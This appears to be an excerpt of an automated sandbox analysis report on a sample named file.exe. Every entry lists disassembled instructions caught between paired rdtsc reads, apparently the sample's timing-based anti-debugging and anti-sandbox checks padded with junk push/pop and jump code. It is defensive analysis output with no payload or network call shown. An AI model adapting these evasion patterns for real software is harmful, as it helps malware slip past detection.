Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896DFD second address: 896E09 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896E09 second address: 896E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897395 second address: 89739B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897AE8 second address: 897AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897AEF second address: 897AF9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F013CB9BBDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896151 second address: 89616B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F013D18EC73h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89616B second address: 896180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F013CB9BBDEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896180 second address: 89618C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89618C second address: 896191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ABFF second address: 89AC1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013D18EC77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AC1A second address: 89AC38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F013CB9BBE2h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AC38 second address: 89AC4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC6Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AC4A second address: 89AC4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AA92 second address: 89AA96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1432 second address: 8A143D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A143D second address: 8A1441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1441 second address: 8A144D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F013CB9BBD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A144D second address: 8A1477 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F013D18EC6Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jc 00007F013D18EC66h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jp 00007F013D18EC82h 0x00000018 jmp 00007F013D18EC6Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1477 second address: 8A147B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E1A second address: 8B0E1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E1E second address: 8B0E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E2C second address: 8B0E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA26C second address: 8BA270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CACF2 second address: 8CACFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAE6D second address: 8CAE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAE71 second address: 8CAEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013D18EC74h 0x00000009 jmp 00007F013D18EC78h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAEA1 second address: 8CAEEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F013CB9BBE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F013CB9BBE5h 0x00000014 jmp 00007F013CB9BBE8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D47E3 second address: 7D47E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D47E7 second address: 7D47FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBDFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD60 second address: 8CFD80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F013D18EC73h 0x0000000c jc 00007F013D18EC66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD80 second address: 8CFD8A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F013CB9BBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD8A second address: 8CFD90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD90 second address: 8CFDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFAA9 second address: 8CFAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9F77 second address: 8E9F7D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF1A second address: 8EDF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF1E second address: 8EDF22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF22 second address: 8EDF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013D18EC74h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF3C second address: 8EDF7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBDFh 0x00000007 jmp 00007F013CB9BBE3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F013CB9BBE8h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF7F second address: 8EDF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF86 second address: 8EDF92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F013CB9BBD6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF92 second address: 8EDFAB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F013D18EC66h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F013D18EC6Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE753 second address: 8FE757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD6F6 second address: 8FD6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD6FA second address: 8FD728 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F013CB9BBD6h 0x00000008 jbe 00007F013CB9BBD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F013CB9BBE8h 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD728 second address: 8FD72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD72E second address: 8FD732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD732 second address: 8FD743 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007F013D18EC66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDE57 second address: 8FDE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F013CB9BBD6h 0x0000000a jne 00007F013CB9BBD6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDFD9 second address: 8FDFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDFDD second address: 8FE004 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F013CB9BBD6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F013CB9BBEFh 0x00000012 jmp 00007F013CB9BBE3h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE004 second address: 8FE00B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE00B second address: 8FE011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE2D9 second address: 8FE2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE2DD second address: 8FE317 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE8h 0x00000007 jmp 00007F013CB9BBE7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE317 second address: 8FE31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE31D second address: 8FE33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F013CB9BBE5h 0x0000000c ja 00007F013CB9BBD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90113E second address: 90114B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90145F second address: 9014A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a stc 0x0000000b push 00000004h 0x0000000d push eax 0x0000000e jnp 00007F013CB9BBE9h 0x00000014 jmp 00007F013CB9BBE3h 0x00000019 pop edx 0x0000001a mov edx, dword ptr [ebp+1244BE7Dh] 0x00000020 push 19EDEAB9h 0x00000025 pushad 0x00000026 ja 00007F013CB9BBDCh 0x0000002c jo 00007F013CB9BBD6h 0x00000032 pushad 0x00000033 push ecx 0x00000034 pop ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9043C9 second address: 9043CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9043CF second address: 9043D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA041F second address: 4FA0482 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F013D18EC78h 0x00000009 and eax, 0DA57E68h 0x0000000f jmp 00007F013D18EC6Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F013D18EC78h 0x0000001b add ecx, 612050C8h 0x00000021 jmp 00007F013D18EC6Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0482 second address: 4FA0488 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0488 second address: 4FA04BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ah 0x00000005 mov al, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F013D18EC77h 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F013D18EC70h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA04BF second address: 4FA04C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA04C5 second address: 4FA04F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F013D18EC6Ch 0x00000009 jmp 00007F013D18EC75h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA04F6 second address: 4FA04FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA04FA second address: 4FA0510 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0510 second address: 4FA0574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 pushfd 0x00000006 jmp 00007F013CB9BBDDh 0x0000000b or ch, 00000066h 0x0000000e jmp 00007F013CB9BBE1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F013CB9BBE3h 0x00000021 sbb cx, 129Eh 0x00000026 jmp 00007F013CB9BBE9h 0x0000002b popfd 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0574 second address: 4FA0579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA05F0 second address: 4FA0638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F013CB9BBDFh 0x00000008 pushfd 0x00000009 jmp 00007F013CB9BBE8h 0x0000000e xor ecx, 0464BAE8h 0x00000014 jmp 00007F013CB9BBDBh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov cx, A071h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0638 second address: 4FA063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA063C second address: 4FA065D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ch, ECh 0x00000009 jmp 00007F013CB9BBDFh 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA065D second address: 4FA0661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0661 second address: 4FA0667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0667 second address: 4FA0680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 9F8Eh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F013D18EC6Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D0E second address: 4FA0D4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F013CB9BBDEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ax, bx 0x00000014 mov eax, edx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov ebx, 072C2018h 0x0000001e mov esi, edi 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D4C second address: 4FA0D52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0D52 second address: 4FA0DA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c jmp 00007F013CB9BBE6h 0x00000011 push dword ptr [ebp+0Ch] 0x00000014 jmp 00007F013CB9BBE0h 0x00000019 push dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0DA2 second address: 4FA0DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0DA8 second address: 4FA0DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0DAC second address: 4FA0DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0E01 second address: 4FA0E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0E07 second address: 4FA0D0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b nop 0x0000000c mov dword ptr [006570C0h], eax 0x00000011 push 003A1310h 0x00000016 mov ecx, dword ptr [006570A8h] 0x0000001c push ecx 0x0000001d call 00007F0141DA5888h 0x00000022 mov edi, edi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F013D18EC6Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC000B second address: 4FC005F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 call 00007F013CB9BBDEh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jmp 00007F013CB9BBDEh 0x00000014 mov dword ptr [esp], ebp 0x00000017 jmp 00007F013CB9BBE0h 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F013CB9BBE7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC005F second address: 4FC00A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007F013D18EC6Bh 0x0000000b or cx, FB8Eh 0x00000010 jmp 00007F013D18EC79h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F013D18EC6Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC00A2 second address: 4FC00A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC00A8 second address: 4FC00AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC00AC second address: 4FC00F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F013CB9BBE6h 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F013CB9BBE0h 0x00000014 xchg eax, ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F013CB9BBE7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC00F6 second address: 4FC00FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0243 second address: 4FC0253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013CB9BBDCh 0x00000009 rdtsc
